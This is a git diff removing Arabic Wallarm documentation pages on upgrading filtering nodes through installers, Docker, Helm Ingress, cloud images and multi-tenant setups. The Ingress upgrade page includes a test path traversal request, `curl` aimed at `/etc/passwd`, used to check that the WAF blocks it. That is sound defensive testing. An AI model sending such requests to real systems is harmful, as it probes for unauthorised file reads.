الذي تم نسخه. -* `` هي سحابة Wallarm التي ستتم فيها تسجيل العقدة الجديدة. يمكن أن تكون إما `US` أو `EU`. - -### الخطوة 4: تنزيل أحدث إصدار من مركب Wallarm All-in-One لماكينة العقدة التصفية - -يتم هذا الخطوة على جهاز العقدة التصفية. - ---8<-- "../include/waf/installation/all-in-one-installer-download.md" - -### الخطوة 5: تشغيل مركب Wallarm All-in-One لترقية العقدة التصفية - -يتم هذا الخطوة على جهاز العقدة التصفية. - -=== "رمز API" - ```bash - # إذا كنت تستخدم الإصدار x86_64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.2.x86_64-glibc.sh -- --batch -t -c -f filtering - - # إذا كنت تستخدم الإصدار ARM64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.2.aarch64-glibc.sh -- --batch -t -c -f filtering - ``` -=== "رمز العقدة" - ```bash - # إذا كنت تستخدم الإصدار x86_64: - sudo sh wallarm-4.10.2.x86_64-glibc.sh -- --batch -t -c -f filtering - - # إذا كنت تستخدم الإصدار ARM64: - sudo sh wallarm-4.10.2.aarch64-glibc.sh -- --batch -t -c -f filtering - ``` - -* `` تضبط اسم المجموعة التي ستضاف إليها العقدة (يستخدم لتجميع العقدات من الناحية المنطقية في واجهة المستخدم الرسومية لـ Wallarm Console). يطبق فقط إذا كنت تستخدم رمز API. -* `` هو قيمة الرمز الذي تم نسخه. -* `` هي سحابة Wallarm التي ستتم فيها تسجيل العقدة الجديدة. يمكن أن تكون إما `US` أو `EU`. - -### الخطوة 6: التحقق من التفاعل بين وحدات العقدة التصفية وpostanalytics المنفصلة - ---8<-- "../include/waf/installation/all-in-one-postanalytics-check.md" diff --git a/docs/latest-ar/updating-migrating/cdn-node.md b/docs/latest-ar/updating-migrating/cdn-node.md deleted file mode 100644 index 6bd8cca3a5..0000000000 --- a/docs/latest-ar/updating-migrating/cdn-node.md +++ /dev/null @@ -1,17 +0,0 @@ -# ترقية عقدة CDN - -تصف هذه التعليمات الخطوات لترقية عقدة CDN الخاصة بـ Wallarm والمتاحة ابتداءً من الإصدار 3.6. - -1. قم بحذف سجل CNAME الخاص بـ Wallarm من سجلات DNS للنطاق المحمي. - - !!! warning "سيتوقف تخفيف الطلبات الخبيثة" - بمجرد إزالة سجل CNAME وتفعيل التغييرات على الإنترنت، ستتوقف عقدة CDN الخاصة بـ Wallarm عن توكيل الطلبات، وسيتم توجيه حركة البيانات الشرعية والخبيثة مباشرةً إلى المورد المحمي. - - ينتج عن ذلك خطر استغلال ثغرات الخادم المحمي عندما يصبح حذف سجل DNS فعالًا لكن سجل CNAME المولد لنسخة العقدة الجديدة لم يصبح فعالًا بعد. -1. انتظر حتى يتم نشر التغييرات. يتم عرض حالة سجل CNAME الفعلية في واجهة مستخدم Wallarm → **العقد** → **CDN** → **حذف عقدة**. -1. احذف عقدة CDN من واجهة مستخدم Wallarm → **العقد**. - - ![حذف العقدة](../images/user-guides/nodes/delete-cdn-node.png) -1. أنشئ عقدة CDN بالنسخة الأحدث لحماية نفس النطاق وفقًا لـ[التعليمات](../installation/cdn-node.md). - -بما أن جميع إعدادات عقدة CDN محفوظة في سحابة Wallarm، ستحصل العقدة الجديدة عليها تلقائيًا. لا تحتاج إلى نقل تكوين العقدة يدويًا إذا لم يتغير النطاق المحمي. \ No newline at end of file diff --git a/docs/latest-ar/updating-migrating/cloud-image.md b/docs/latest-ar/updating-migrating/cloud-image.md deleted file mode 100644 index bb73554a50..0000000000 --- a/docs/latest-ar/updating-migrating/cloud-image.md +++ /dev/null @@ -1,68 +0,0 @@ -# ترقية صورة العقدة السحابية - -تصف هذه التعليمات خطوات ترقية صورة العقدة السحابية 4.x المُنشرة على AWS أو GCP إلى الإصدار 4.10. - -لترقية العقدة التي وصلت إلى نهاية الخدمة (3.6 أو أقل)، يُرجى استخدام [تعليمات مختلفة](older-versions/cloud-image.md). - -## المتطلبات - ---8<-- "../include-ar/waf/installation/basic-reqs-for-upgrades.md" - -## الخطوة 1: إطلاق نسخة جديدة بعقدة تصفية 4.10 - -1. افتح صورة عقدة تصفية Wallarm من سوق السحاب الإلكتروني وتابع لإطلاق الصورة: - * [سوق أمازون](https://aws.amazon.com/marketplace/pp/B073VRFXSD) - * [سوق GCP](https://console.cloud.google.com/marketplace/details/wallarm-node-195710/wallarm-node) -2. في خطوة الإطلاق، قم بتعيين الإعدادات التالية: - - * اختر إصدار الصورة `4.10.x` - * بالنسبة لـ AWS، اختر [مجموعة الأمان المُنشأة](../installation/cloud-platforms/aws/ami.md#2-create-a-security-group) في حقل **إعدادات مجموعة الأمان** - * بالنسبة لـ AWS، اختر اسم [زوج المفاتيح المُنشأ](../installation/cloud-platforms/aws/ami.md#1-create-a-pair-of-ssh-keys) في حقل **إعدادات زوج المفاتيح** -3. أكد إطلاق النسخة. -4. بالنسبة لـ GCP، قم بتكوين النسخة باتباع هذه [التعليمات](../installation/cloud-platforms/gcp/machine-image.md#2-configure-the-filtering-node-instance). - -## الخطوة 2: ربط عقدة التصفية بـ Wallarm Cloud - -1. اتصل بنسخة عقدة التصفية عبر SSH. التعليمات الأكثر تفصيلاً للاتصال بالنسخ متوفرة في وثائق المنصة السحابية: - * [وثائق AWS](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AccessingInstances.html) - * [وثائق GCP](https://cloud.google.com/compute/docs/instances/connecting-to-instance) -2. أنشئ عقدة Wallarm جديدة واتصل بها بـ Wallarm Cloud باستخدام التوكن المُنشأ كما ورد في التعليمات للمنصة السحابية: - * [AWS](../installation/cloud-platforms/aws/ami.md#5-connect-the-filtering-node-to-the-wallarm-cloud) - * [GCP](../installation/cloud-platforms/gcp/machine-image.md#4-connect-the-filtering-node-to-the-wallarm-cloud) - -## الخطوة 3: مراجعة التحديثات الهندسية الأخيرة - -قدم التحديث الأخير [تغييرات هندسية](what-is-new.md#optimized-cloud-images) قد تؤثر على المستخدمين، خاصةً أولئك الذين يغيرون ملفات التكوين الافتراضية للعقدة. يُرجى التعرف على هذه التغييرات لضمان التكوين واستخدام الصورة الجديدة بشكل صحيح. - -## الخطوة 4: نسخ إعدادات عقدة التصفية من الإصدار السابق إلى الإصدار الجديد - -انسخ إعدادات معالجة وتوجيه الطلبات من ملفات التكوين للإصدار السابق من عقدة Wallarm إلى ملفات الإصدار 4.10 لعقدة التصفية: - -* `/etc/nginx/nginx.conf` وملفات أخرى ذات إعدادات NGINX -* `/etc/nginx/conf.d/wallarm-status.conf` مع إعدادات خدمة مراقبة عقدة التصفية -* `/etc/environment` مع متغيرات البيئة -* أي ملفات تكوين مخصصة أخرى لمعالجة وتوجيه الطلبات، مع مراعاة [التغييرات الهندسية](what-is-new.md#optimized-cloud-images) الأخيرة - -المعلومات التفصيلية حول العمل مع ملفات تكوين NGINX متوفرة في [وثائق NGINX الرسمية](https://nginx.org/docs/beginners_guide.html). - -قائمة توجيهات عقدة التصفية متوفرة [هنا](../admin-en/configure-parameters-en.md). - -## الخطوة 5: إعادة تشغيل NGINX - -أعد تشغيل NGINX لتطبيق الإعدادات: - -```bash -sudo systemctl restart nginx -``` - -## الخطوة 6: اختبار تشغيل عقدة Wallarm - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" - -## الخطوة 7: إنشاء صورة الجهاز الافتراضي بناءً على عقدة التصفية 4.10 في AWS أو GCP - -لإنشاء صورة الجهاز الافتراضي بناءً على عقدة التصفية 4.10، يُرجى اتباع التعليمات لـ [AWS](../admin-en/installation-guides/amazon-cloud/create-image.md) أو [GCP](../admin-en/installation-guides/google-cloud/create-image.md). - -## الخطوة 8: حذف نسخة عقدة Wallarm السابقة - -إذا تم تكوين واختبار الإصدار الجديد من عقدة التصفية بنجاح، قم بإزالة النسخة وصورة الجهاز الافتراضي مع الإصدار السابق لعقدة التصفية باستخدام وحدة تحكم إدارة AWS أو GCP. \ No newline at end of file diff --git a/docs/latest-ar/updating-migrating/docker-container.md b/docs/latest-ar/updating-migrating/docker-container.md deleted file mode 100644 index cb5499b60e..0000000000 --- a/docs/latest-ar/updating-migrating/docker-container.md +++ /dev/null @@ -1,58 +0,0 @@ -# ترقية صورة Docker المستندة إلى NGINX أو Envoy - -تصف هذه التعليمات الخطوات لترقية صورة Docker المستندة إلى NGINX أو Envoy الجارية من إصدار 4.x إلى الإصدار 4.10. - -!!! تحذير "استخدام بيانات اعتماد العقدة Wallarm الموجودة مسبقًا" - ننصح بعدم استخدام العقدة Wallarm القائمة من الإصدار السابق. يرجى اتباع هذه التعليمات لإنشاء عقدة تصفية جديدة من الإصدار 4.10 ونشرها كحاوية Docker. - -لترقية العقدة ذات النهاية المحددة للخدمة (3.6 أو أقل)، يُرجى استخدام [تعليمات مختلفة](older-versions/docker-container.md). - -## المتطلبات - ---8<-- "../include/waf/installation/requirements-docker-nginx-4.0.md" - -## الخطوة 1: تنزيل صورة العقدة التصفية المُحدثة - -=== "صورة المستندة إلى NGINX" - ``` bash - docker pull wallarm/node:4.10.4-1 - ``` -=== "صورة المستندة إلى Envoy" - ``` bash - docker pull wallarm/envoy:4.8.0-1 - ``` - -## الخطوة 2: مراجعة التحديثات الهندسية الأخيرة (لصورة Docker المستندة إلى NGINX) - -قدمت آخر تحديث [تغييرات هندسية](what-is-new.md#optimized-and-more-secure-nginx-based-docker-image) قد تؤثر على المستخدمين، خاصةً أولئك الذين يركبون ملفات التكوين المخصصة أثناء بدء تشغيل الحاوية بسبب التغييرات في مسارات بعض الملفات. يرجى التعرف على هذه التغييرات لضمان التكوين والاستخدام الصحيحين للصورة الجديدة. - -## الخطوة 3: إيقاف تشغيل الحاوية الجارية - -```bash -docker stop -``` - -## الخطوة 4: تشغيل الحاوية باستخدام الصورة الجديدة - -1. انتقل إلى Wallarm Console → **Nodes** وأنشئ **عقدة Wallarm**. - - ![إنشاء عقدة Wallarm](../images/user-guides/nodes/create-wallarm-node-name-specified.png) -1. انسخ الرمز المُنشأ. -1. قم بتشغيل الصورة المُحدثة باستخدام الرمز المنسوخ وقم بإجراء التعديلات اللازمة على مسارات الملفات المُركبة إذا لزم الأمر بسبب [التغييرات الأخيرة في الصورة](what-is-new.md#optimized-and-more-secure-nginx-based-docker-image). - - هناك خياران لتشغيل الحاوية باستخدام الصورة المُحدثة: - - * **باستخدام المتغيرات البيئية** التي تحدد تكوين عقدة التصفية الأساسية - * [تعليمات لحاوية Docker المستندة إلى NGINX →](../admin-en/installation-docker-en.md#run-the-container-passing-the-environment-variables) - * [تعليمات لحاوية Docker المستندة إلى Envoy →](../admin-en/installation-guides/envoy/envoy-docker.md#run-the-container-passing-the-environment-variables) - * **في ملف التكوين المُركب** الذي يحدد تكوين عقدة التصفية المتقدمة - * [تعليمات لحاوية Docker المستندة إلى NGINX →](../admin-en/installation-docker-en.md#run-the-container-mounting-the-configuration-file) - * [تعليمات لحاوية Docker المستندة إلى Envoy →](../admin-en/installation-guides/envoy/envoy-docker.md#run-the-container-mounting-envoyyaml) - -## الخطوة 5: اختبار تشغيل عقدة التصفية - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" - -## الخطوة 6: حذف عقدة التصفية من الإصدار السابق - -إذا كانت الصورة المنشورة من الإصدار 4.10 تعمل بشكل صحيح، يمكنك حذف عقدة التصفية من الإصدار السابق في Wallarm Console → **Nodes**. \ No newline at end of file diff --git a/docs/latest-ar/updating-migrating/general-recommendations.md b/docs/latest-ar/updating-migrating/general-recommendations.md deleted file mode 100644 index 2be4cef2b0..0000000000 --- a/docs/latest-ar/updating-migrating/general-recommendations.md +++ /dev/null @@ -1,50 +0,0 @@ -# توصيات لعملية تحديث العقدة بأمان - -يصف هذا المستند التوصيات والمخاطر المرتبطة بتحديث عقدة فلترة Wallarm بأمان إلى الإصدار 4.10. - -## التوصيات العامة - -* قم بالتخطيط بعناية ومراقبة عملية تحديث عقدة الفلترة. تُنشر تواريخ الإصدار المتوقعة لإصدارات جديدة من عقد Wallarm في [سياسة ترقيم إصدارات عقد Wallarm](versioning-policy.md). -* إذا كانت بنيتك التحتية تحتوي على عدة عقد Wallarm مثبتة، قم بتحديثها تدريجيًا. بعد تحديث العقدة الأولى، راقب عمل وحدات العقدة طوال يوم واحد وقم بتحديث العقد الأخرى تدريجياً إذا عملت العقدة الأولى بشكل صحيح. -* لنموذج مع بيئات تطوير وإنتاج منفصلة، قم بتحديث عقدة الفلترة تدريجياً. أولاً، طبق واختبر النسخة الجديدة في بيئات غير الإنتاج، ثم في بيئات الإنتاج. الوصف التفصيلي للتوصيات موجود في [التعليمات لتكوين عقد Wallarm للبيئات المنفصلة](../admin-en/configuration-guides/wallarm-in-separated-environments/configure-wallarm-in-separated-environments.md#gradual-rollout-of-new-wallarm-node-changes). -* قبل تحديث عقدة الفلترة، قم بتعطيل توجيه المرور عبر العقدة باستخدام أي طريقة متاحة لك (مثلاً، بضبط [وضع ترشيح المرور](../admin-en/configure-wallarm-mode.md) على `off`). -* بمجرد تحديث وحدة عقدة الفلترة، اضبط وضع الترشيح للعقدة على `monitoring`. إذا عملت كافة الوحدات بشكل صحيح ولم يكن هناك عدد غير طبيعي من الإيجابيات الكاذبة الجديدة في وضع `monitoring` طوال يوم، ثم قم بتشغيل عقدة الفلترة في وضع `block`. -* قم بتحديث NGINX إلى أحدث إصدار متاح قبل تطبيق تحديثات عقدة Wallarm. إذا احتاجت بنيتك التحتية إلى استخدام إصدار معين من NGINX، يرجى التواصل مع [دعم فني Wallarm](mailto:support@wallarm.com) لبناء وحدة Wallarm لإصدار مخصص من NGINX. - -## المخاطر المحتملة - -فيما يلي المخاطر التي قد تحدث عند تحديث عقدة الفلترة. لتقليل تأثير المخاطر، يُرجى اتباع الإرشادات المناسبة عند التحديث. - -### تغيير الوظائف - -* [ما الجديد في عقدة Wallarm 4.10](what-is-new.md) -* [ما الجديد إذا كنت تقوم بتحديث عقدة EOL (3.6 أو أقل)](older-versions/what-is-new.md) - -### الإيجابيات الكاذبة الجديدة - -نحن نحسن تحليل المرور مع كل إصدار جديد من عقدة الفلترة. هذا يعني أن عدد الإيجابيات الكاذبة يقل مع كل نسخة جديدة. ومع ذلك، كل تطبيق محمي له خصائصه الخاصة، لذا نوصي بتحليل عمل النسخة الجديدة من عقدة الفلترة في وضع `monitoring` قبل تمكين وضع الحظر (`block`). - -لتحليل عدد الإيجابيات الكاذبة الجديدة بعد التحديث: - -1. قم بنشر النسخة الجديدة من عقدة الفلترة في وضع `monitoring` [mode](../admin-en/configure-wallarm-mode.md) وأرسل المرور إلى عقدة الفلترة. -2. بعد بعض الوقت، افتح واجهة تحكم Wallarm → قسم **الهجمات** وحلل عدد الطلبات التي تم التعرف عليها بالخطأ على أنها هجمات. -3. إذا وجدت زيادة غير طبيعية في عدد الإيجابيات الكاذبة، من فضلك اتصل ب[الدعم الفني لـ Wallarm](mailto:support@wallarm.com). - -### زيادة كمية الموارد المستخدمة - -استخدام بعض الميزات الجديدة لعقدة الفلترة قد يؤدي إلى تغييرات في كمية الموارد المستخدمة. المعلومات حول التغييرات في كمية الموارد المستخدمة موضحة في قسم [ما الجديد](what-is-new.md). - -كما يُوصى بمراقبة عمل عقدة الفلترة: إذا وجدت اختلافات كبيرة في كمية الموارد المستخدمة الفعلية وفي الكمية المحددة في الوثائق، يُرجى الاتصال ب[دعم فني Wallarm](mailto:support@wallarm.com). - -## عملية التحديث - -تعتمد عملية تحديث عقدة Wallarm على المنصة وأشكال التثبيت. الرجاء اختيار شكل التثبيت واتباع التعليمات المناسبة: - -* [وحدات لـ NGINX، NGINX Plus](nginx-modules.md) -* [حاوية Docker مع الوحدات لـ NGINX أو Envoy](docker-container.md) -* [NGINX Ingress controller مع وحدات Wallarm المدمجة](ingress-controller.md) -* [Sidecar](sidecar-proxy.md) -* [صورة العقدة السحابية](cloud-image.md) -* [عقدة متعددة المستأجرين](multi-tenant.md) -* [عقدة CDN](cdn-node.md) -* [ترحيل القوائم البيضاء والسوداء من عقدة Wallarm 2.18 وأقل إلى 4.8](migrate-ip-lists-to-node-3.md) \ No newline at end of file diff --git a/docs/latest-ar/updating-migrating/ingress-controller.md b/docs/latest-ar/updating-migrating/ingress-controller.md deleted file mode 100644 index 4150ef987e..0000000000 --- a/docs/latest-ar/updating-migrating/ingress-controller.md +++ /dev/null @@ -1,98 +0,0 @@ -[nginx-process-time-limit-docs]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[nginx-process-time-limit-block-docs]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit_block -[overlimit-res-rule-docs]: ../user-guides/rules/configure-overlimit-res-detection.md -[graylist-docs]: ../user-guides/ip-lists/overview.md -[ip-list-docs]: ../user-guides/ip-lists/overview.md -[waf-mode-instr]: ../admin-en/configure-wallarm-mode.md - -# ترقية وحدة تحكم NGINX Ingress المدمجة بوحدات Wallarm - -تصف هذه التعليمات الخطوات لترقية وحدة تحكم NGINX Ingress المعتمدة على Wallarm من الإصدار 4.x إلى الإصدار الجديد مع عقدة Wallarm 4.10. - -لترقية العقدة التي انتهى عمرها الافتراضي (3.6 أو أقل)، يرجى استخدام [التعليمات المختلفة](older-versions/ingress-controller.md). - -!!! warning - The Kubernetes community will [retire the Community Ingress NGINX in March 2026](https://blog.nginx.org/blog/the-ingress-nginx-alternative-open-source-nginx-ingress-controller-for-the-long-term). The Wallarm NGINX Ingress Controller based on this project will be supported through the same date. You can continue using it until then, and it will remain fully functional during the support window. - - Wallarm will provide alternative deployment options and migration guidance as they become available. [Details](../updating-migrating/nginx-ingress-retirement.md) - - An [Envoy/Istio-based connector](../installation/connectors/istio.md) is also available today for environments already using Envoy. - -## المتطلبات - ---8<-- "../include/waf/installation/requirements-nginx-ingress-controller-6.x.md" - -## الخطوة 1: تحديث مستودع Wallarm Helm chart - -```bash -helm repo update wallarm -``` - -## الخطوة 2: فحص جميع التغييرات القادمة في مخطط K8s - -لتجنب تغيير سلوك وحدة التحكم Ingress بشكل غير متوقع، قم بفحص جميع التغييرات القادمة في مخطط K8s باستخدام [Helm Diff Plugin](https://github.com/databus23/helm-diff). يوفر هذا الإضافة الفرق بين مستندات K8s لنسخة وحدة التحكم Ingress المنشورة والنسخة الجديدة. - -لتثبيت وتشغيل الإضافة: - -1. قم بتثبيت الإضافة: - - ```bash - helm plugin install https://github.com/databus23/helm-diff - ``` -2. تشغيل الإضافة: - - ```bash - helm diff upgrade -n wallarm/wallarm-ingress --version 4.10.4 -f - ``` - - * ``: اسم إصدار Helm مع مخطط وحدة التحكم Ingress - * ``: النطاق الذي تم نشر وحدة التحكم Ingress به - * ``: المسار إلى ملف `values.yaml` الذي يعرف إعدادات وحدة التحكم Ingress 4.10 - يمكنك استخدام الواحد الذي تم إنشاؤه لتشغيل نسخة وحدة التحكم Ingress السابقة -3. تأكد من عدم وجود تغييرات يمكن أن تؤثر على استقرار الخدمات الجارية وفحص الأخطاء من stdout بعناية. - - إذا كان stdout فارغًا، تأكد من صحة ملف `values.yaml`. - -## الخطوة 3: ترقية وحدة التحكم Ingress - -قم بترقية وحدة التحكم NGINX Ingress المنشورة: - -``` bash -helm upgrade -n wallarm/wallarm-ingress --version 4.10.4 -f -``` - -* ``: اسم إصدار Helm مع مخطط وحدة التحكم Ingress -* ``: النطاق الذي تم نشر وحدة التحكم Ingress به -* ``: المسار إلى ملف `values.yaml` الذي يعرف إعدادات وحدة التحكم Ingress 4.10 - يمكنك استخدام الواحد الذي تم إنشاؤه لتشغيل نسخة وحدة التحكم Ingress السابقة - -## الخطوة 4: اختبار وحدة التحكم Ingress المُرقاة - -1. تأكد من ترقية نسخة مخطط Helm: - - ```bash - helm list -n - ``` - - حيث `` هو النطاق الذي تم نشر مخطط Helm مع وحدة التحكم Ingress به. - - يجب أن تتوافق نسخة المخطط مع `wallarm-ingress-4.10.4`. -1. احصل على قائمة الحاويات: - - ``` bash - kubectl get pods -n -l app.kubernetes.io/name=wallarm-ingress - ``` - - يجب أن تكون حالة كل حاوية **STATUS: Running** أو **READY: N/N**. على سبيل المثال: - - ``` - NAME READY STATUS RESTARTS AGE - ingress-controller-nginx-ingress-controller-675c68d46d-cfck8 3/3 Running 0 5m - ingress-controller-nginx-ingress-controller-wallarm-tarantljj8g 4/4 Running 0 5m - ``` - -1. أرسل طلبًا مع هجوم اختبار [Path Traversal](../attacks-vulns-list.md#path-traversal) إلى عنوان وحدة التحكم Ingress Wallarm: - - ```bash - curl http:///etc/passwd - ``` - - تحقق من أن حل الإصدار الجديد يعالج الطلب الضار كما فعل في الإصدار السابق. \ No newline at end of file diff --git a/docs/latest-ar/updating-migrating/migrate-ip-lists-to-node-3.md b/docs/latest-ar/updating-migrating/migrate-ip-lists-to-node-3.md deleted file mode 100644 index 0b10a2c4ce..0000000000 --- a/docs/latest-ar/updating-migrating/migrate-ip-lists-to-node-3.md +++ /dev/null @@ -1,27 +0,0 @@ -# الترحيل من قوائم السماح والحظر في عقدة Wallarm الإصدار 2.18 وما دون إلى الإصدار 4.8 - -ابتداءً من عقدة Wallarm الإصدار 3.x، تم تغيير طريقة تكوين قوائم السماح والحظر لعناوين IP. يوجه هذا المستند كيفية الترحيل من قوائم السماح والحظر المكونة في عقدة Wallarm الإصدار 2.18 أو ما دون إلى أحدث عقدة Wallarm. - -## ما الذي تغير؟ - -تم تغيير تكوين قوائم السماح والحظر لعناوين IP كما يلي: - -* تم إهمال توجيهات NGINX `wallarm_acl_*`، ومعاملات Envoy `acl`، ومتغيرات البيئة `WALLARM_ACL_*`. الآن، يتم تكوين قوائم IP كما يلي: - - * خطوات إضافية لتمكين وظيفة قائمة السماح أو الحظر ليست مطلوبة. تقوم عقدة Wallarm بتنزيل قوائم عناوين IP من سحابة Wallarm بشكل افتراضي وتطبق البيانات المنزلة عند معالجة الطلبات الواردة. - * يتم تكوين صفحة الحظر وكود الخطأ المُرجع في الاستجابة إلى الطلب المحظور باستخدام التوجيه [`wallarm_block_page`](../admin-en/configure-parameters-en.md#wallarm_block_page) بدلاً من `wallarm_acl_block_page`. -* يتم إدارة عناوين IP المدرجة في قوائم السماح والحظر عبر واجهة استخدام Wallarm. -* عناوين IP الخاصة ب[ماسح ضعف Wallarm](../about-wallarm/detecting-vulnerabilities.md#vulnerability-scanner) مدرجة في قائمة السماح افتراضيًا. لم تعد مطلوبة إضافة عناوين IP للماسح الضوئي إلى قائمة السماح يدويًا. - -## إجراء ترحيل تكوين قائمة السماح والحظر - -1. أبلغ [دعم Wallarm الفني](mailto:support@wallarm.com) بأنك تقوم بتحديث وحدات ترشيح العقدة إلى الإصدار الأخير واطلب تمكين منطق قوائم IP الجديد لحساب Wallarm الخاص بك. - - عند تمكين منطق قوائم IP الجديد، يرجى فتح واجهة استخدام Wallarm والتأكد من توفر قسم [**قوائم IP**](../user-guides/ip-lists/overview.md). -2. إذا كنت تقوم بتحديث عقدة Wallarm متعددة المستأجرين، يرجى حذف السكربتات المستخدمة لمزامنة قائمة حظر عناوين IP والعقدة متعددة المستأجرين الإصدار 2.18 أو ما دون. ابتداءً من الإصدار 3.2، لم تعد مطلوبة التكامل اليدوي لـ[قوائم IP](../user-guides/ip-lists/overview.md). -3. قم بتحديث وحدات ترشيح العقدة إلى الإصدار 4.8 باتباع [التعليمات المناسبة](general-recommendations.md#update-process). -4. أزل قائمة السماح لعناوين IP الخاصة بماسح الضعف من ملفات تكوين العقدة الفلترة. ابتداءً من العقدة الفلترة الإصدار 3. -5. إذا تم استخدام الطرق المذكورة لإدراج عناوين IP الأخرى التي لا ينبغي حظرها من قبل العقدة الفلترة، يرجى نقلها إلى [قائمة السماح في واجهة استخدام Wallarm](../user-guides/ip-lists/overview.md). -6. إذا كنت تستخدم التوجيه `wallarm_acl_block_page` لتكوين صفحة الحظر وكود الخطأ المرجع عندما ينشأ الطلب من عنوان IP الموجود في قائمة الحظر، يرجى استبدال اسم التوجيه بـ `wallarm_block_page` وتحديث قيمته باتباع [التعليمات](../admin-en/configuration-guides/configure-block-page-and-code.md). -7. أزل متغيرات البيئة NGINX وEnvoy `WALLARM_ACL_*` من أوامر `docker run`. -8. (اختياري) أزل التوجيهات NGINX `wallarm_acl_*` ومعاملات Envoy `acl` من ملفات تكوين العقدة الفلترة. \ No newline at end of file diff --git a/docs/latest-ar/updating-migrating/multi-tenant.md b/docs/latest-ar/updating-migrating/multi-tenant.md deleted file mode 100644 index bddbc94a7a..0000000000 --- a/docs/latest-ar/updating-migrating/multi-tenant.md +++ /dev/null @@ -1,28 +0,0 @@ -[ptrav-attack-docs]: ../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../images/admin-guides/test-attacks-quickstart.png - -# ترقية عقدة متعددة التأجير - -تصف هذه التعليمات الخطوات لترقية العقدة متعددة التأجير 4.x إلى الإصدار 4.10. - -لترقية العقدة متعددة التأجير التي انتهت صلاحيتها (3.6 أو أقل)، يرجى استخدام [تعليمات مختلفة](older-versions/multi-tenant.md). - -## المتطلبات - -* تنفيذ الأوامر التالية من قبل المستخدم ذي دور **المدير العام** المضاف تحت [حساب المستأجر التقني](../installation/multi-tenant/configure-accounts.md#tenant-account-structure) -* الوصول إلى `https://us1.api.wallarm.com` عند العمل مع Wallarm Cloud الأمريكية أو إلى `https://api.wallarm.com` عند العمل مع Wallarm Cloud الأوروبية. يرجى التأكد من أن الوصول ليس محجوبًا بواسطة جدار حماية - -## اتبع إجراء الترقية القياسي - -الإجراءات القياسية هي لـ: - -* [ترقية وحدات Wallarm NGINX](nginx-modules.md) -* [ترقية وحدة ما بعد التحليل](separate-postanalytics.md) -* [ترقية صورة Wallarm Docker المبنية على NGINX أو Envoy](docker-container.md) -* [ترقية وحدة التحكم NGINX Ingress مع الوحدات المدمجة من Wallarm](ingress-controller.md) -* [ترقية صورة العقدة السحابية](cloud-image.md) - -!!! تحذير "إنشاء العقدة متعددة التأجير" - أثناء إنشاء العقدة Wallarm، يرجى اختيار خيار **العقدة متعددة التأجير**: - - ![إنشاء العقدة متعددة التأجير](../images/user-guides/nodes/create-multi-tenant-node.png) \ No newline at end of file diff --git a/docs/latest-ar/updating-migrating/nginx-modules.md b/docs/latest-ar/updating-migrating/nginx-modules.md deleted file mode 100644 index 86400f9c94..0000000000 --- a/docs/latest-ar/updating-migrating/nginx-modules.md +++ /dev/null @@ -1,447 +0,0 @@ -#[wallarm-status-instr]: ../admin-en/configure-statistics-service.md -#[ptrav-attack-docs]: ../attacks-vulns-list.md#path-traversal -#[attacks-in-ui-image]: ../images/admin-guides/test-attacks-quickstart.png -#[waf-mode-instr]: ../admin-en/configure-wallarm-mode.md -#[blocking-page-instr]: ../admin-en/configuration-guides/configure-block-page-and-code.md -#[logging-instr]: ../admin-en/configure-logging.md -#[proxy-balancer-instr]: ../admin-en/using-proxy-or-balancer-en.md -#[process-time-limit-instr]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit -#[configure-selinux-instr]: ../admin-en/configure-selinux.md -#[configure-proxy-balancer-instr]: ../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -#[install-postanalytics-instr]: ../admin-en/installation-postanalytics-en.md -#[dynamic-dns-resolution-nginx]: ../admin-en/configure-dynamic-dns-resolution-nginx.md -#[img-wl-console-users]: ../images/check-users.png -#[img-create-wallarm-node]: ../images/user-guides/nodes/create-cloud-node.png -#[nginx-process-time-limit-docs]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit -#[nginx-process-time-limit-block-docs]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit_block -#[overlimit-res-rule-docs]: ../user-guides/rules/configure-overlimit-res-detection.md -#[graylist-docs]: ../user-guides/ip-lists/overview.md -#[wallarm-token-types]: ../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -#[oob-docs]: ../installation//oob/overview.md -#[sqli-attack-docs]: ../attacks-vulns-list.md#sql-injection -#[xss-attack-docs]: ../attacks-vulns-list.md#crosssite-scripting-xss -#[web-server-mirroring-examples]: ../installation/oob/web-server-mirroring/overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[link-wallarm-health-check]: ../admin-en/uat-checklist-en.md - -# ترقية وحدات Wallarm NGINX - -تصف هذه التعليمات الخطوات لترقية وحدات Wallarm NGINX 4.x المثبتة من الحزم الفردية إلى الإصدار 4.10. هذه هي الوحدات المثبتة وفقًا لواحدة من التعليمات التالية: - -* [حزم فردية لـ NGINX مستقر](../installation/nginx/dynamic-module.md) -* [حزم فردية لـ NGINX Plus](../installation/nginx-plus.md) -* [حزم فردية لـ NGINX المقدمة من التوزيعة](../installation/nginx/dynamic-module-from-distr.md) - -لترقية النود القديم (3.6 أو أقل)، يرجى استخدام [التعليمات المختلفة](older-versions/nginx-modules.md). - -## طرق الترقية - ---8<-- "../include/waf/installation/upgrade-methods.md" - -## الترقية باستخدام المثبت الشامل - -استخدم الإجراء أدناه لترقية وحدات Wallarm NGINX 4.x إلى الإصدار 4.10 باستخدام [المثبت الشامل](../installation/nginx/all-in-one.md). - -### متطلبات الترقية باستخدام المثبت الشامل - ---8<-- "../include/waf/installation/all-in-one-upgrade-requirements.md" - -### إجراء الترقية - -* إذا تم تثبيت وحدات النود التصيفية و postanalytics على نفس الخادم، فاتبع الإرشادات أدناه لترقية الكل. - - ستحتاج إلى تشغيل نود من الإصدار الأحدث باستخدام المثبت الشامل على جهاز نظيف، اختبر أنه يعمل بشكل جيد وأوقف الأول وقم بتهيئة حركة المرور لتمر عبر الجهاز الجديد بدلاً من الجهاز السابق. - -* إذا تم تثبيت وحدات النود التصيفية و postanalytics على خوادم مختلفة، **قم أولا** بترقية وحدة postanalytics و **بعد ذلك** وحدة التصفية باستخدام هذه [الإرشادات](../updating-migrating/separate-postanalytics.md). - -### الخطوة 1: إعداد الجهاز النظيف - ---8<-- "../include/waf/installation/all-in-one-clean-machine.md" - 